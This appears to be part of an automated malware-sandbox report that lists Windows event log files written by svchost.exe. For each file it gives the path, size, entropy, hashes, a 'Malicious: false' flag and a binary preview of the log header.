C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.634418630947688
Encrypted:	false
SSDEEP:	768:/VQ+uYvAzBCBao/F6Cf2SEqEhwaK41HZaUeI36ISKEeKRe:cH
MD5:	A00BAFFCABB00428EA0512FCECCC55E5
SHA1:	19F7C942DC26C3FF56D6240158734AFF67D6B93E
SHA-256:	92264C9E28AB541669DED47CFAF1E818EBD863FA9E8FC6B0F52175D694A9E0D9
SHA-512:	DF94AA8FA0610A0EFE7BAC0DB2A01645A4CD1C7FAD62E914EF914B526B651ED62600F63909D26149FD17C259348DADE05F48759B1DF092970251DB86690CC2B6
Malicious:	false
Preview:	ElfChnk.........m...............m.....................]......................................................................p.................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................................................................%0......**..@...........WW. ..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.0646587531847893
Encrypted:	false
SSDEEP:	384:eh1kbAP1gzkw3kN5Ayqk+HkzGk+hkV3SuckzlckA66k+4DkzRxk+dkzwUk+rkzDK:eMAP1Qa5AgfQQgniwS
MD5:	399CAF70AC6E1E0C918905B719A0B3DD
SHA1:	62360CD0CA66E23C70E6DE3340698E7C0D789972
SHA-256:	FD081487CCB0ACEAD6F633AADBA4B977D2C9360CE8EAC36EAB4E3C84A701D849
SHA-512:	A3E17DA61D4F7C0C94FD0B67707AE35250656842D602906DE515B5E46ECD5078AC68AE607B99DC1A6061B0F896759FE46FF8EE350774205635D30363D46939EA
Malicious:	false
Preview:	ElfChnk......................................g...j..%s.g........................................................................................b...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........................................&...........c..;...............................**..x...........HD................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.4364303862010575
Encrypted:	false
SSDEEP:	384:PhrE2E+EAsbE3VgEWsUiEcEf4eEOhEmELVFEEE5ejElEreEFEzEAEWE+EWEeEKEy:P3sleByhfIwPGa1SEzy
MD5:	2BB73ACC8F7419459C4BF931AB85352C
SHA1:	F1CE2EB960D3886F76094E2327DD092FC1208C7E
SHA-256:	1969400F6FC72AD4A41092FEC53A19078C98DE9FCB2507A3BD8E1930B2447B62
SHA-512:	7D882184DA11B490E111502C8193B73248259D43CC5DCE021CD7264212F1BCD3D62F2A3A2F86929663E2E904961D4F1E406E314020FE904D41694A09C1EB0457
Malicious:	false
Preview:	ElfChnk.p...............p..................../...1..V......................................................................H...................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...........................................m..............................%................ ..................&............0......................*......p..........T..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-HelloForBusiness%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.0631557320109892
Encrypted:	false
SSDEEP:	384:xhYCAKRuKIYKxkKiCKVIAK8sL4K5VKjPKwnKZ/K50K8/0KXAKuWKSlK+NK8t3KlZ:x1T4hGvj
MD5:	86AEA3A9CA3E5909FD44812754E52BD6
SHA1:	F79B583F83F118AC724A5A4206FC439B88BB8C65
SHA-256:	2AB21F158F9FFA0A375B2ABBD58880A732FABBC436246D40A68DD88D324428C9
SHA-512:	17796DAA6BCE3C6B7EBACD2A683D085AB08C7701DB5FF91DC2D6531E9CC23FCFC52650A6CD02D8B54D4E8C8D5B59DB1688E18571587E0431E4AA914086BE26F5
Malicious:	false
Preview:	ElfChnk.........b...............b...............0...o5@r.....................................................................2..................V.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.............................................................../.......................**............... .$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-Boot%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.4467272005363894
Encrypted:	false
SSDEEP:	384:EEhFiDhKxDmqIDrfDYEDdDDDbDOD2DSD+DtDFDxDlDUDEDoDADeDuDx4DWDXDjD6:JzSKEqsMuy6TN
MD5:	155681C222D825199B738E8DEC707DC8
SHA1:	704C800E7313F77A218203554E1428DF2819BC34
SHA-256:	1505E543085CB6AA30119F10DF11AC8CE061DB0CAC6D44A640E711F96750C4BF
SHA-512:	ADDDE8E26D330EAA13F993D17FF4A6DE7F4120E5B36205EB69FC999B0462B21FD189317EFD1002618551EE24E5C753A09EB34955E8CF1A8E2A22D27516BAB720
Malicious:	false
Preview:	ElfChnk.........L...............L...........x.......ZZO.........................................................................................2.......................Z...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................=............................................y..................................**...............v?..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.156155224835584
Encrypted:	false
SSDEEP:	384:MhMLzI9ozTxzFEz3zLzWztCzizQzzz5zqfzDz5z1zkzSz9zEzWz+zQzqbzUTz3zE:Mmw9g3LU
MD5:	F22AC858C2ACC96E8F189E43FFE46FBD
SHA1:	540B8276921D37FCFFDA3FC7BCFAE1D99A85433B
SHA-256:	771A6E4098CB30081338F06DD7C0B54248C133F9B7B6849FDADDBD6E6FD5BCE9
SHA-512:	B4CF3C51B9FB236207B19FE697CEF6E402C6C903E7570B3938F529E5438F96E230463B9A9B17784A98E580E2B18AA9626E96AA83F705D506AF9C2A0432F0F7D5
Malicious:	false
Preview:	ElfChnk.........6...............6........... o...p..k.?........................................................................x................J.......................r...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......E.......................n.......#...........................................~i..................................**..............j...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.9197999988543422
Encrypted:	false
SSDEEP:	384:ehqID7I26vIxIPIttIo0IPrI5IMILIjI7I1IIIfrIBBLIgITI:ecx
MD5:	6C3F290FC62CFA9C240AEE8DB1DBA277
SHA1:	CFACCF81F3AA31E8DE85CEAFDAA55AA90FA18BEC
SHA-256:	7841FBB35636229AFB0389965D3DDBD0B7DF4858F1DA8A8FF434830DB8B133D6
SHA-512:	D2C60875EFADB1F3421CDC095B00E32419C0266CB4F58B17AF09A82AAA20EB488C757BA07E7562A033B84A37B3E035C405200BFB29330F79CA565FF21F5EDA88
Malicious:	false
Preview:	ElfChnk.K.......L.......K.......L...........x...86.....U......................................................................+.................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..x...K.........tQ..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Known Folders API Service.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 2 chunks (no. 1 in use), next record no. 143, DIRTY
Category:	dropped
Size (bytes):	76040
Entropy (8bit):	4.551581036940398
Encrypted:	false
SSDEEP:	768:ELjpPv++M48PFVbUa+5DdDLjpPv++M48PFVbUa+5DdyY20sMY3Dp13/n/ydIxm6c:TU
MD5:	9550348718E36BF2728FAD844B7E4F7D
SHA1:	9E1EBA342A62B2E8415B10ADA70134D47C25E5A7
SHA-256:	71A44332B4E178246D35CC2D0646813E9EEB5AD883FD6602C15C14384B091B3A
SHA-512:	77FEC5CD31656DE999002CADA163115D414D7DFD60DCCB6A2CA34E3E262A65505D42F4BAB15F70F51227B8AF24F970A7D453A6D3B40A0E6AEB123989280376F8
Malicious:	false
Preview:	ElfFile.....................................................................................................................I..ElfChnk......................................$...(...\.d....................................................................D.2v................H.......................p...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.......!............................................$..................................**..X.............................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-LiveId%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	5.718426658668259
Encrypted:	false
SSDEEP:	384:Thka5Ka5WsR9o2KbzyzIz7a5NsR9o2KbzyzIzia5zzuzNz0zxzuewKWMK/2a55wt:Tdqlt94xODljQdM
MD5:	8630011707C7BFBCECC0A9430637802E
SHA1:	22247A5B6A4C01883BB14E0BD4575A3553F945CB
SHA-256:	227057F9899098B21709D53114E9DECFFCD28207BFFA178AD6B1E32F9C63EDDF
SHA-512:	972629871B28EA6D01B8762B28378F8348E592BD465FE7FD1CF6AB5BD62157230AD3BB729F6290F6EDA950AB20598110676D902756E40BA3067ED37831855076
Malicious:	false
Preview:	ElfChnk.%......./.......%......./...........(l...n.........................................................................b\.;................ .......................H...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&........................6..........**..P...%.......'wu~..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NCSI%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9963080376858662
Encrypted:	false
SSDEEP:	384:l7h1hM7MpMEaMWFMu/Ma2M+AMmGM1cMNF3Mg9Ml7MABMczM0cMKhMLaMA0MJvMZy:l7eJw
MD5:	A51AFE78FA4481FA05EDC1133C92B1D8
SHA1:	5BA44E7A99EE615E323696742DA6B930E9FF6198
SHA-256:	44C1977D16383DF6B1FFF8164F319DFD99092A124ABA7C7280D74A6BB8AD2094
SHA-512:	792E5E8F5540DCA4B7F003C1043DCBC3E0EC3F23EC4A7B0FA84357F6ABDFD84122C124DBEA2B61D3B5CEED79A3E158DBE95DFCDB20EEAC433D9CDC29C3328F22
Malicious:	false
Preview:	ElfChnk......................................)..0-....\.....................................................................\|..........................................>...=...........................................................................................................................f...............?...........................m...................M...F...........................&....................................................................................)..................................**..............c...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NetworkProfile%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.076996627399968
Encrypted:	false
SSDEEP:	384:Ihk1EL1I1Vh1C1D161f1f181L1tY1VGm1Q1L1p1VG1U1Z1s1VA141c1Vc1q1tS12:IBjdjP0cs6N
MD5:	A8ADBDC2B39B55444B2C844F7D81EBDE
SHA1:	F97F40E314C8A2A39953A28CB72C9270D3073418
SHA-256:	93CF0EF4C121FCBB18A8A6DA5912415AF1113816BE6A8F9B86BE6A2243408E09
SHA-512:	922D165CBE871A393D58DAABABE7D09557E242BF73C2C473C29CCB0FB3277B8119911EFF51B12238D23B613AD9C15DAB163C9757BC9006D768B2345F53436E7B
Malicious:	false
Preview:	ElfChnk.........................................X...Y}.......................................................................(.[................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................A.......................................................*..............5.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	83408
Entropy (8bit):	3.465895899791719
Encrypted:	false
SSDEEP:	384:3KILbwI+IUIyI2I4bXImLIjcMIRI9IJIoINIcIcFIuIQITI4IYIDvHIZIDhhDIEu:3TrxhZxGp99r
MD5:	700E6D05B3FC566FEF16966161DEF5A5
SHA1:	ABC0B9E9B627412AA777AB071FEA0D1D7DD0CD7E
SHA-256:	2416AD57DCEAD470B1DD3054229786FF429C5A1167637C1859C1D04ED6888A15
SHA-512:	8DD1B3D4CCA3037374ED650CEC59A07B88C95C7386BCE3AF6EF416FE4490F6CA5A7671259ADD88A52E2E13E89EEBE79197FA4FF66E72F3D3A14A0D3CE7E5AC54
Malicious:	false
Preview:	ElfChnk.T...............T...................P...h...[.........................................................................G........................................>...=...........................................................................................................................f...............?...........................m...................M...F............................................................n..................1................................a......a...........................**......z...........!.............a..............................................................,.......D.....!........... ....@....!....&O....h!'O............z....................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.N.t.f.s..z.?..nM.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.N.t.f.s./.O.p.e.r.a.t.i.o.n.a.l........n..&.......6p.\.#i....>..........2........A..=...>.../....=.......V.o.l.u.m.e.C.o.r.r.e.l.a.t.i.o.n.I.d.......A..7...>...)....=.......V.o.l.u.m.e.N.a.m.e.L.e.n.g.t.h....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4WHC.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.801423310886069
Encrypted:	false
SSDEEP:	384:dh6iIvcImIvITIQIoIoI3IEIMIoIBIDIcIwISIEzIJVI:doxJS
MD5:	9EAAD7982F42DFF47B8EF784DD2EE1CC
SHA1:	542608204AF6B709B06807E9466F7543C0F08818
SHA-256:	5468A48533B56DE3E8C820B870493154775356CE3913AD70EC51E0D1D0D1A366
SHA-512:	036BFABE2AC4AD623B5C439349938C0EA254BFCDAB9096A53253189D4F632A8A8A1DD00644A4573AF971AAEA6831317BFD663E35363DD870684CDD4C0A51884C
Malicious:	false
Preview:	ElfChnk.....................................X ...#..\.N......................................................................12.............................................=...........................................................................................................................f...............?...........................m...................M...F...........................&...................................................................................~ ..................................**..............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Partition%4Diagnostic.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.996272372482282
Encrypted:	false
SSDEEP:	768:e4u1n8zfFFU1x4Dk13xIb13xIb13xIt13xIi13xI513xIU13xI013xIF13xIH137:M
MD5:	4F68D6AF0C7DB9E98F8B592C9A07811C
SHA1:	9F519109344DD57150F16B540AAA417483EF44FE
SHA-256:	44177E6F71E240EBFE9CE63FEFBF5D46A01979E09C0C14F65F1D19AE8E97B8EE
SHA-512:	E1D5097BCD572F3DBAF4024FAEA76BAD3061CD2E05017701B578020327969C2BD3F725FBE8BFE4C40DC66336CE1371E7AB037058603B02449366DAE4EDE8DE69
Malicious:	false
Preview:	ElfChnk.....................................(...8...S......................................................................V..C................(.......................P...=...........................................................................................................................f...............?...........................m...................M...F...........................&................................ ..................................................N...................................**...............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	69752
Entropy (8bit):	3.7922843548336367
Encrypted:	false
SSDEEP:	768:YNYNwutDBjV8k+PS7eUtHpoVWWB07SZRcZv76NcRUjGHzLKvc90XKcZv76NcRkpI:UUwutDBjV8k+67PtHpoVW
MD5:	BFB69ACAD0D04FB62869D07A7A74DBA6
SHA1:	4A880A73E618177CACBAE617F19E77042946379F
SHA-256:	D09BF5087852F5E082CB778ABC33E0648AB5FEA32448C70EF1EF93595B774E33
SHA-512:	722D0E862B9A5A7865B77CF2DC484E18D0FC7F39D9CC1075E9BEA4CAA57E1B87340DF83A3D452CEF4D99A40D164A8A49A5A3A3ABB919927E70B7190F86208EBF
Malicious:	false
Preview:	ElfChnk.................O.......T...............x...^.........................................................................;................0...........................=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..`...O.........I..!............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PushNotification-Platform%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.738711518598647
Encrypted:	false
SSDEEP:	384:Fh+rKvKaKNP6WKkvKWKlpKuyK7YKmKaKHxqKWyK11KUIKqKq9KLjK5yKoKfKYKnJ:FkN2cTOsKZDY7aVZc55NrjzDbRt
MD5:	0C63074367EB5912D1369160BE13D49C
SHA1:	68E877CAB4808ADE17B417228BBCF54B40FFE17A
SHA-256:	7DC3C2F901D6C8EFF78E6CAFF4496946402539B27A9FE10161BEBC250EA3CAE4
SHA-512:	7DE89DFDD7D143C50F0C28EE675836911DE6FD7C861D25017A7362750C82C24EE8785F758D2F7B2CA10A7562B30B49F31842000994788F18B3CEE244E293CBA4
Malicious:	false
Preview:	ElfChnk.....................................0.........e ......................................................................3B................l...........................=...........................................................................................................................f...............?...........................m...................M...F.......................E................................M..&...g`..g5......................o]...........X...Z..GP...............s......od......_i..**..P............%.o..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7590316238843728
Encrypted:	false
SSDEEP:	384:IhP8o8Z85848V8M8g8D8R8E8T8h8p8TtP8sU8:Ic
MD5:	B074238315662886E2BD70106D08A747
SHA1:	5ADA158D19401565E76349FCA97489E9FB9BFA36
SHA-256:	53770508DCDA0199A75458B5A10DC8FD2E49A4CFD0FC001C16D56F3B567AB71C
SHA-512:	9D35DC04CCE95541551254BCBB00B0E2E0860D9B6F69D40FBC829DA31FC3AC43690A049A432BA4D43315B80675143A6AA02C57484E7903845010A5AD9EC92D6D
Malicious:	false
Preview:	ElfChnk.........................................0!....H.......................................................................j........................................V...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.......................................................................................**..(.............................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.7512621807969166
Encrypted:	false
SSDEEP:	1536:GXhKUyS+z1VV18o838c8bUc8cVVsz8VX8SoX8aA8cmtpjAiVB18dwE4vjcYoMjn1:GXwnS
MD5:	13D614B9F0C0052F70E23F561AEF8DB0
SHA1:	6B662ACF83D025FEBFF82FAEF8E55A8C9925F585
SHA-256:	ECEB87E73BE1FD6D62C7586A10955079D7178E613FE80800FFE3AD861CE8A41E
SHA-512:	AE9F250A690D23FABE8AEF257F8D8AC93FF0D4BD05C8A1FC3E0404E13215F51AC4F699293A886FC0D7EB397A0D26D4F8864B41AD89E739888138B30CE1C517D0
Malicious:	false
Preview:	ElfChnk.........%...............%............E..`G..gF........................................................................................v...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...................................................&B..........O.......................**..............g5...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SMBServer%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.3069197485541766
Encrypted:	false
SSDEEP:	768:S0VsLY/Z5aFka2aKazzabCafama5Sa0ra6rzaJcavkao9O0apPaQOan6qa6IvV1:ycEu
MD5:	E6E4C860CE7DD1BB499D6A082B461B90
SHA1:	11330861B23B1D29D777D9BD10619A07B6A6A9C0
SHA-256:	C27431D9C64F5C9D323E2B4ED5F44781969B34F30DC4280296A329DCD6509D44
SHA-512:	7393A0FF290BB3DB07E8BB9A9FA7B666CD8B686CBDAA3FED2EBD704D6E88A4D5768D104BD768E6AA533C42588C661A863E11ED9146ABD7386A2A9B4F84583406
Malicious:	false
Preview:	ElfChnk.........;...............;............r..@t...H......................................................................p"..................Q...........................=...........................................................a...............................................................f...............?...2...........................................M...F......................................&........................................................................l..............]...................*.............._.............X..&.......X...],T.'tB..E........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	127536
Entropy (8bit):	4.000608545990872
Encrypted:	false
SSDEEP:	768:ah0w+qLpBVi7CPME79nCxkSqPh0w+qLpBVi7CPME79nCxkSqHe:c0w+qtBVi20w+qtBVi4e
MD5:	ADECFB997F941FEFCA0239F8FF7CC750
SHA1:	32E6AEED405410A5BCEC540CA7D8B019417CC85C
